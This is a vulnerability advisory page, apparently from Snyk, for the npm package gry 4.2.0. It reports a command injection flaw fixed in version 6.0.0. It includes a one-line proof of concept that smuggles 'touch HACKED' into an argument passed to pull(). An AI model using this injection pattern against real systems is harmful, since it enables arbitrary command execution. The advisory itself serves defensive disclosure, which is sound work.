gry@4.2.0 vulnerabilities

A minimalist NodeJS wrapper for the `git` commands. `gry` stands for the Git RepositorY.

Direct Vulnerabilities

Known vulnerabilities in the gry package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Command Injection

gry is a minimalist NodeJS wrapper for the git commands. gry stands for the Git Repository.

Affected versions of this package are vulnerable to Command Injection in lib/index.js and example.js

PoC

// poc.js
const Repo = require("gry");
var myRepo = new Repo(".");
myRepo.pull('test; touch HACKED; #', function(){console.log('Finished!')})

How to fix Command Injection?

Upgrade gry to version 6.0.0 or higher.

<6.0.0